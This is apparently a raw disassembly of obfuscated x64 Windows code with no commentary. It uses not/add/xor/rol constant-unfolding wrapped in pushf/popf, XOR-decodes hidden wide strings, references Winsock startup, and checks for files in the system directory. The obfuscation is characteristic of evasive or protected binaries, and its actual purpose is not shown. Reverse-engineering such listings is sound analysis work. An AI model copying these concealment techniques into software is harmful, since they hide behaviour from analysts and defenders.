movzx edx, word [0x1400f85f8]
xor dx, 0xe
movzx ecx, word [0x1400f85fa]
xor cx, 0xe
movzx eax, word [reloc.WS2_32.dll_WSAStartup]
xor ax, 0xe
mov r13d, 0xd3ccd740
pushf
not r13d
add r13d, 0xf1f75597
xor r13d, 0x86364aed
rol r13d, 0x44
popf
pushf
not r13d
add r13d, 0xd939c206
xor r13d, 0xa1f2f05c
rol r13d, 0x8b
popf
pushf
not r13d
add r13d, 0xb94c8a0f
xor r13d, 0x9519225a
rol r13d, 0x34
popf
mov r12d, 0x485bde51
pushf
not r12d
add r12d, 0xf713bdb9
xor r12d, 0x8e07dca8
rol r12d, 0xd5
popf
pushf
not r12d
add r12d, 0xd3abd996
xor r12d, 0xb9c7c395
rol r12d, 0xa4
popf
xor r13w, r12w
mov word [rbp + 0x22], r13w
mov r13d, 0xaff74c8
pushf
not r13d
add r13d, 0xccc38132
xor r13d, 0xc22172ad
rol r13d, 3
popf
pushf
not r13d
add r13d, 0xd9d0262b
xor r13d, 0xba70300a
rol r13d, 0xef
popf
xor r13w, r12w
mov word [rbp + 0x24], r13w
mov r13d, 0xdd20ba7f
pushf
not r13d
add r13d, 0x8da83733
xor r13d, 0xfb651305
rol r13d, 0x8e
popf
pushf
not r13d
add r13d, 0xd5c91c03
xor r13d, 0xe8b9f6a8
rol r13d, 0xeb
popf
pushf
not r13d
add r13d, 0x8a04d6fe
xor r13d, 0xc3ad034d
rol r13d, 0xa0
popf
pushf
not r13d
add r13d, 0xa041028f
xor r13d, 0xea96c74f
rol r13d, 0x97
popf
xor r13w, r12w
mov word [rbp + 0x26], r13w
mov r13d, 0xd2dad0fe
pushf
not r13d
add r13d, 0xaa1ff0bf
xor r13d, 0xc81839c8
rol r13d, 1
popf
pushf
not r13d
add r13d, 0xc42e2034
xor r13d, 0x84efd423
rol r13d, 0xe
popf
xor r13w, r12w
mov word [rbp + 0x28], r13w
mov r13d, 0x660621df
pushf
not r13d
add r13d, 0x9ad2e0d1
xor r13d, 0xf4a352f2
rol r13d, 0x66
popf
pushf
not r13d
add r13d, 0xc5128997
xor r13d, 0xb6760d91
rol r13d, 0xb
popf
pushf
not r13d
add r13d, 0xb5fd0564
xor r13d, 0xa9d3bc68
rol r13d, 0xf7
popf
xor r13w, r12w
mov word [rbp + 0x2a], r13w
mov r13d, 0xbef61125
pushf
not r13d
add r13d, 0x8b488dcc
xor r13d, 0xc024e5de
rol r13d, 0x4f
popf
pushf
not r13d
add r13d, 0x97943f6f
xor r13d, 0xc7925961
rol r13d, 0xa
popf
pushf
not r13d
add r13d, 0xfdd67abe
xor r13d, 0x9ce18d92
rol r13d, 0xd4
popf
pushf
not r13d
add r13d, 0xcae969d3
xor r13d, 0xf944c447
rol r13d, 0xba
popf
xor r13w, r12w
mov word [rbp + 0x2c], r13w
movzx r13d, word [rsp + 0x20]
xor r13w, r12w
mov word [rbp + 0x2e], r13w
mov r13d, 0xc2ef5f9
pushf
not r13d
add r13d, 0x95f759df
xor r13d, 0xd180af2c
rol r13d, 0xab
popf
pushf
not r13d
add r13d, 0xd8f52afe
xor r13d, 0x9166e03b
rol r13d, 0x6d
popf
xor r13w, r12w
mov word [rbp + 0x30], r13w
movzx r13d, word [rsp + 0x40]
xor r13w, r12w
mov word [rbp + 0x32], r13w
mov r13d, 0x380b5b5d
pushf
not r13d
add r13d, 0xa394a411
xor r13d, 0xa50f4a2f
rol r13d, 0x5e
popf
pushf
not r13d
add r13d, 0xbae15bc5
xor r13d, 0xa8eaadbc
rol r13d, 0xf5
popf
pushf
not r13d
add r13d, 0xb0cf683b
xor r13d, 0xdcaced8c
rol r13d, 0x94
popf
xor r13w, r12w
mov word [rbp + 0x34], r13w
mov r13d, 0x97e55cce
pushf
not r13d
add r13d, 0x9cd9be15
xor r13d, 0xb476511a
rol r13d, 0x78
popf
pushf
not r13d
add r13d, 0xad25afa1
xor r13d, 0xa86d4d20
rol r13d, 0x52
popf
pushf
not r13d
add r13d, 0x9e61816c
xor r13d, 0xb66bf531
rol r13d, 0x2f
popf
pushf
not r13d
add r13d, 0xe131611b
xor r13d, 0xb7138a6f
rol r13d, 0xde
popf
xor r13w, r12w
mov word [rbp + 0x36], r13w
mov r13d, 0x7651dc9b
pushf
not r13d
add r13d, 0xd2c32968
xor r13d, 0xbc32d314
rol r13d, 0x7a
popf
pushf
not r13d
add r13d, 0xb9ee266a
xor r13d, 0xb52ee61e
rol r13d, 0x51
popf
pushf
not r13d
add r13d, 0xc4c47c42
xor r13d, 0xecfab5ba
rol r13d, 0xb
popf
xor r13w, r12w
mov word [rbp + 0x38], r13w
mov r13d, 0xc4e013e0
pushf
not r13d
add r13d, 0xef63246f
xor r13d, 0x83e4d1a2
rol r13d, 0x1b
popf
pushf
not r13d
add r13d, 0xe33b0771
xor r13d, 0xa430d53b
rol r13d, 0xca
popf
pushf
not r13d
add r13d, 0xa5d3d262
xor r13d, 0xdc524126
rol r13d, 0xce
popf
pushf
not r13d
add r13d, 0xae3a9343
xor r13d, 0xd04355f6
rol r13d, 8
popf
xor r13w, r12w
mov word [rbp + 0x3a], r13w
mov r13d, 0x124871ce
pushf
not r13d
add r13d, 0x88f0e7dc
xor r13d, 0xc7e9cad0
rol r13d, 0x20
popf
pushf
not r13d
add r13d, 0xbc33cd2c
xor r13d, 0xe185212c
rol r13d, 0x54
popf
pushf
not r13d
add r13d, 0xf1d2512e
xor r13d, 0xdbb4d9ba
rol r13d, 0x52
popf
xor r13w, r12w
mov word [rbp + 0x3c], r13w
mov r13d, 0x50bcaa1
pushf
not r13d
add r13d, 0x99528b14
xor r13d, 0xfa5b48cb
rol r13d, 0x49
popf
pushf
not r13d
add r13d, 0xdabc3b50
xor r13d, 0x9fae4873
rol r13d, 0x14
popf
xor r13w, r12w
mov word [rbp + 0x3e], r13w
mov r15d, 0x7436448
pushf
not r15d
add r15d, 0xf8c090ca
xor r15d, 0xa60cede5
rol r15d, 0xf6
popf
pushf
not r15d
add r15d, 0xed2ae5c4
xor r15d, 0x90775ec8
rol r15d, 0xc5
popf
pushf
not r15d
add r15d, 0xa0db32e5
xor r15d, 0x9417c789
rol r15d, 0xea
popf
pushf
not r15d
add r15d, 0xce211ca1
xor r15d, 0xaf40e69e
rol r15d, 0xed
popf
xor r15w, r12w
mov word [rbp + 0x40], r15w
movzx r13d, word [rsp + 0x48]
xor r13w, r12w
mov word [rbp + 0x42], r13w
mov r13d, 0xae30f6f8
pushf
not r13d
add r13d, 0x81bb7c16
xor r13d, 0x9927fe09
rol r13d, 0x6f
popf
pushf
not r13d
add r13d, 0xa01ca495
xor r13d, 0xa01a93d1
rol r13d, 0x1c
popf
pushf
not r13d
add r13d, 0x851ce3a1
xor r13d, 0x8d3454d2
rol r13d, 0x6a
popf
xor r13w, r12w
mov word [rbp + 0x44], r13w
movzx r13d, word [rsp + 0x3c]
xor r13w, r12w
mov word [rbp + 0x46], r13w
movzx r13d, r12w
xor r13w, r12w
mov word [rbp + 0x48], r13w
movzx r13d, word [rsp + 0x3a]
xor r13w, r12w
mov word [rbp + 0x4a], r13w
movzx r13d, word [rsp + 0x38]
xor r13w, r12w
mov word [rbp + 0x4c], r13w
movzx r13d, word [rsp + 0x36]
xor r13w, r12w
mov word [rbp + 0x4e], r13w
movzx r13d, word [rsp + 0x34]
xor r13w, r12w
mov word [rbp + 0x50], r13w
movzx r13d, word [rsp + 0x32]
xor r13w, r12w
mov word [rbp + 0x52], r13w
movzx r13d, word [rsp + 0x30]
xor r13w, r12w
mov word [rbp + 0x54], r13w
movzx r12d, word [rsp + 0x2e]
mov r13d, 0x93777629
pushf
not r13d
add r13d, 0xed90580c
xor r13d, 0xb241ef79
rol r13d, 1
popf
pushf
not r13d
add r13d, 0x98b6a296
xor r13d, 0xc8e4855e
rol r13d, 0xac
popf
xor r12w, r13w
mov word [rbp + 0x56], r12w
movzx r15d, word [rsp + 0x2c]
xor r15w, r13w
mov word [rbp + 0x58], r15w
xor r14w, r13w
mov word [rbp + 0x5a], r14w
xor si, r13w
mov word [rbp + 0x5c], si
xor di, r13w
mov word [rbp + 0x5e], di
xor bx, r13w
mov word [rbp + 0x60], bx
xor r11w, r13w
mov word [rbp + 0x62], r11w
xor r10w, r13w
mov word [rbp + 0x64], r10w
xor r9w, r13w
mov word [rbp + 0x66], r9w
xor r8w, r13w
mov word [rbp + 0x68], r8w
xor dx, r13w
mov word [rbp + 0x6a], dx
xor cx, r13w
mov word [rbp + 0x6c], cx
xor ax, r13w
mov word [rbp + 0x6e], ax
xor ebx, ebx
mov word [rbp + 0x70], bx
xorps xmm0, xmm0
movups xmmword [rbp + 0x290], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x2a0], xmm1
lea rcx, [rbp + 0x22]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rcx + rax*2], bx
jne 0x1402b5430
push rax
pushf
mov eax, 0x7449b62a
pushf
not eax
add eax, 0xf14240af
xor eax, 0xf3bb5cee
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xc8ca436a
xor eax, 0xd98b54d8
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xfe0dcf10
xor eax, 0xd9b4e00d
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xd6a100db
xor eax, 0x86985846
rol eax, 0x86
popf
jmp 0x1402b04b1
push rax
pushf
mov eax, 0xa0e2aef3
pushf
not eax
add eax, 0xdc1f207a
xor eax, 0x96e30b84
rol eax, 0x88
popf
pushf
not eax
add eax, 0xbb7d59e9
xor eax, 0xfde8e603
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xab2d4df4
xor eax, 0xb6efd7cd
rol eax, 0xc4
popf
jmp 0x1402b04b1
mov r8, rax
lea rdx, [rbp + 0x22]
lea rcx, [rbp + 0x290]
call fcn.140226231
nop
xorps xmm0, xmm0
movdqu xmmword [0x14012d9e0], xmm0
mov qword [0x14012d9f0], rbx
mov ecx, 0xa76031df
pushf
not ecx
add ecx, 0xc9b41319
xor ecx, 0xdd1965e2
rol ecx, 0x33
popf
pushf
not ecx
add ecx, 0x956377eb
xor ecx, 0x811f8cfa
rol ecx, 0x49
popf
pushf
not ecx
add ecx, 0x87ba60f4
xor ecx, 0xffbe6680
rol ecx, 9
popf
pushf
not ecx
add ecx, 0xb4b17fae
xor ecx, 0xe0ee5249
rol ecx, 0x1e
popf
call fcn.14015317f
mov rbx, rax
mov qword [0x14012d9e0], rax
mov qword [0x14012d9e8], rax
lea rcx, [rax + 0x100]
mov qword [0x14012d9f0], rcx
lea rcx, [0x1bf900c05]
pushf
sub rcx, 0x7f7d3225
popf
mov qword [rsp + 0x50], rcx
lea rdi, [rbp + 0x1b0]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b0], xmm0
mov qword [rbp + 0x2b0], rax
mov qword [rbp + 0x2b8], rax
mov qword [rbp + 0x2c0], rcx
nop word [rax + rax]
push rax
pushf
mov eax, 0x60d9dddf
pushf
not eax
add eax, 0xb4cb01f6
xor eax, 0xcb6832a6
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xf48c3bda
xor eax, 0xd70d6caa
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xfccb0b95
xor eax, 0x90fa80bf
rol eax, 0x51
popf
pushf
not eax
add eax, 0xa8c28902
xor eax, 0xe1dd0fca
rol eax, 0x63
popf
jmp 0x1402b04b1
mov rdx, rdi
mov rcx, rbx
call fcn.1401d6353
add rbx, 0x20
mov qword [rbp + 0x2b8], rbx
add rdi, 0x20
lea rax, [rbp + 0x2b0]
cmp rdi, rax
jne 0x1402b5634
push rax
pushf
mov eax, 0xb80b037f
pushf
not eax
add eax, 0xcd1cd400
xor eax, 0x952290cb
rol eax, 0xb4
popf
pushf
not eax
add eax, 0x9255dee4
xor eax, 0xe1c2d4c1
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xe21e2279
xor eax, 0xc0bf5189
rol eax, 0x73
popf
pushf
not eax
add eax, 0xe9168d1a
xor eax, 0xd10d30d9
rol eax, 0xc6
popf
jmp 0x1402b04b1
push rax
pushf
mov eax, 0xbb9bf728
pushf
not eax
add eax, 0xa7f5250b
xor eax, 0xec7554fb
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xcf59577a
xor eax, 0xcf836f0e
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xf989762b
xor eax, 0xfc588a76
rol eax, 0xd4
popf
jmp 0x1402b04b1
mov rdx, rbx
mov rcx, rbx
call fcn.1401e53b7
mov qword [0x14012d9e8], rbx
lea r9, [0x18b154c56]
pushf
sub r9, 0x4b144df6
popf
mov edx, 0xd1770ee0
pushf
not edx
add edx, 0xc3775592
xor edx, 0xff3e04c9
rol edx, 0x34
popf
pushf
not edx
add edx, 0xc889dfd5
xor edx, 0x81090bf0
rol edx, 0xc8
popf
lea r8d, [rdx - 0x18]
lea rcx, [rbp + 0x1b0]
call fcn.140312431
lea rcx, [0x1b64dae10]
pushf
sub rcx, 0x764675e0
popf
call fcn.140206ee2
nop
lea rcx, [0x1b2053c6c]
pushf
sub rcx, 0x71f2626c
popf
call fcn.14033dd06
mov esi, 0x790a981a
pushf
not esi
add esi, 0x895504ea
xor esi, 0xb43d2fc0
rol esi, 0xac
popf
pushf
not esi
add esi, 0xcb159fa6
xor esi, 0xd6e4a55e
rol esi, 0x22
popf
push rax
pushf
mov eax, 0xa82d0ce4
pushf
not eax
add eax, 0xe149ce9a
xor eax, 0xc63bb6b2
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xd249cb66
xor eax, 0xb93d2ee3
rol eax, 0x19
popf
pushf
not eax
add eax, 0xe318e239
xor eax, 0xb2c8467a
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xb46611aa
xor eax, 0xccafde15
rol eax, 0x4e
popf
jmp 0x1402b04b1
mov rbx, qword [0x14012d9e0]
mov rdi, qword [0x14012d9e8]
cmp rbx, rdi
je 0x1402b57da
push rax
pushf
mov eax, 0x49a4337c
pushf
not eax
add eax, 0xef17d34f
xor eax, 0xbc774f07
rol eax, 0x74
popf
pushf
not eax
add eax, 0x80a06151
xor eax, 0xc34ed103
rol eax, 0x65
popf
jmp 0x1402b04b1
push rax
pushf
mov eax, 0xe42fe371
pushf
not eax
add eax, 0xa7a4b18e
xor eax, 0x8ff2431b
rol eax, 0x6e
popf
pushf
not eax
add eax, 0x960a90fd
xor eax, 0xbdb0aa9c
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xdf42015a
xor eax, 0xcd09ba2b
rol eax, 0x20
popf
pushf
not eax
add eax, 0xb8f7ca85
xor eax, 0xf6903105
rol eax, 0xc9
popf
jmp 0x1402b04b1
nop word [rax + rax]
push rax
pushf
mov eax, 0xf2b56b92
pushf
not eax
add eax, 0xa90c004d
xor eax, 0xb36a79ef
rol eax, 0x18
popf
pushf
not eax
add eax, 0x86916872
xor eax, 0xc349208e
rol eax, 0xf0
popf
pushf
not eax
add eax, 0x8f9ad941
xor eax, 0x866fe67b
rol eax, 0x6b
popf
jmp 0x1402b04b1
mov edx, 0x58bc6248
pushf
not edx
add edx, 0xbe8c44c4
xor edx, 0xd5f24c73
rol edx, 0xc
popf
pushf
not edx
add edx, 0xd6739cb0
xor edx, 0xf3b311ac
rol edx, 0xcd
popf
lea rcx, [rbp + 0x2f0]
jmp 0x1402b58bb
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x1402b591e
push rax
pushf
mov eax, 0x90b967d4
pushf
not eax
add eax, 0xf1259c54
xor eax, 0xaedae363
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xc2dfbc54
xor eax, 0xdbba49a3
rol eax, 0x10
popf
pushf
not eax
add eax, 0xcd0e33ba
xor eax, 0xf0415d2b
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xfb47fe40
xor eax, 0xc90ae179
rol eax, 0xa1
popf
jmp 0x1402b04b1
push rax
pushf
mov eax, 0x27bcd893
pushf
not eax
add eax, 0xde640db0
xor eax, 0xb955c762
rol eax, 0xac
popf
pushf
not eax
add eax, 0xb92a0392
xor eax, 0x8a03e292
rol eax, 0xb4
popf
jmp 0x1402b04b1
mov r8, rbx
cmp qword [rbx + 0x18], 8
jb 0x1402b59b4
push rax
pushf
mov eax, 0xca5110e0
pushf
not eax
add eax, 0xcc487a5c
xor eax, 0xac6e5471
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xe2c8db4e
xor eax, 0xced20bfa
rol eax, 0xca
popf
pushf
not eax
add eax, 0xd138633c
xor eax, 0xe348e9f6
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xaa220c27
xor eax, 0xa79e69fc
rol eax, 0x6a
popf
jmp 0x1402b04b1
push rax
pushf
mov eax, 0x3e5883ab
pushf
not eax
add eax, 0xa4a3391f
xor eax, 0x85284ecd
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xc0573270
xor eax, 0x8b0d967a
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xb2245ffd
xor eax, 0xa9de235f
rol eax, 0x39
popf
jmp 0x1402b04b1
mov r8, qword [rbx]
push rax
pushf
mov eax, 0x7beaddb1
pushf
not eax
add eax, 0x8a4c2d28
xor eax, 0xed0b7807
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xb6d51acd
xor eax, 0x851fff17
rol eax, 0x43
popf
jmp 0x1402b04b1
mov edx, 0xd878de9f
pushf
not edx
add edx, 0x98fae1ed
xor edx, 0xfc736c85
rol edx, 0xe8
popf
pushf
not edx
add edx, 0xeca174bb
xor edx, 0x933fb4c5
rol edx, 0x8d
popf
pushf
not edx
add edx, 0xb6f5ef26
xor edx, 0xf1d68224
rol edx, 0xef
popf
lea rcx, [rbp + 0x2f0]
call fcn.1401a4345
lea rcx, [rbp + 0x2f0]
jmp 0x1402b5a88
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x1402b5ad9
push rax
pushf
mov eax, 0x2625529b
pushf
not eax
add eax, 0x96009ba6
xor eax, 0xf3ba7f5a
rol eax, 0x58
popf
pushf
not eax
add eax, 0x80ce3156
xor eax, 0xa5f1c81e
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xd895a0ea
xor eax, 0xad7970e6
rol eax, 0x6e
popf
jmp 0x1402b04b1
push rax
pushf
mov eax, 0x772211ff
pushf
not eax
add eax, 0xde6a8041
xor eax, 0xeabedf4a
rol eax, 0xd2
popf
pushf
not eax
add eax, 0x8eaa8471
xor eax, 0xca72cc96
rol eax, 0x91
popf
jmp 0x1402b04b1
add rbx, 0x20
cmp rbx, rdi
jne 0x1402b5b6e
push rax
pushf
mov eax, 0x70d9d201
pushf
not eax
add eax, 0xedb28a11
xor eax, 0xdff3e7f9
rol eax, 0x58
popf
pushf
not eax
add eax, 0xb794594a
xor eax, 0xf5493b4d
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xf6aec822
xor eax, 0xbb3780a6
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xa2957d85
xor eax, 0xa95d18be
rol eax, 0x47
popf
jmp 0x1402b04b1
push rax
pushf
mov eax, 0x5fa62292
pushf
not eax
add eax, 0x8e15e694
xor eax, 0xeeb1e6ee
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xc9de3214
xor eax, 0x8b6c41ca
rol eax, 0x14
popf
pushf
not eax
add eax, 0xb5e4b5bd
xor eax, 0x9c14294d
rol eax, 0x3a
popf
jmp 0x1402b04b1
mov rcx, qword [rbp + 0x500]
xor rcx, rsp
call fcn.1402ac965
lea r11, [rsp + 0x610]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov byte [rsp + 0x20], 0x41
mov al, 0x36
pushf
not al
add al, 0x76
xor al, 0x1f
rol al, 0x3f
popf
pushf
not al
add al, 0xdd
xor al, 0x4e
rol al, 0x52
popf
pushf
not al
add al, 0x3c
xor al, 0xed
rol al, 0x7e
popf
mov cl, 0x2a
pushf
not cl
add cl, 0x8f
xor cl, 0xaa
rol cl, 0xd9
popf
pushf
not cl
add cl, 0x9f
xor cl, 0x89
rol cl, 0x15
popf
pushf
not cl
add cl, 0xa9
xor cl, 0x12
rol cl, 0xf3
popf
xor edx, edx
xor al, 0x41
mov byte [rsp + 0x21], al
xor cl, 0x41
mov byte [rsp + 0x22], cl
mov byte [rsp + 0x23], dl
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0x2b0]
call fcn.140296283
mov r8d, esi
mov rdx, rax
call fcn.140323e80
int3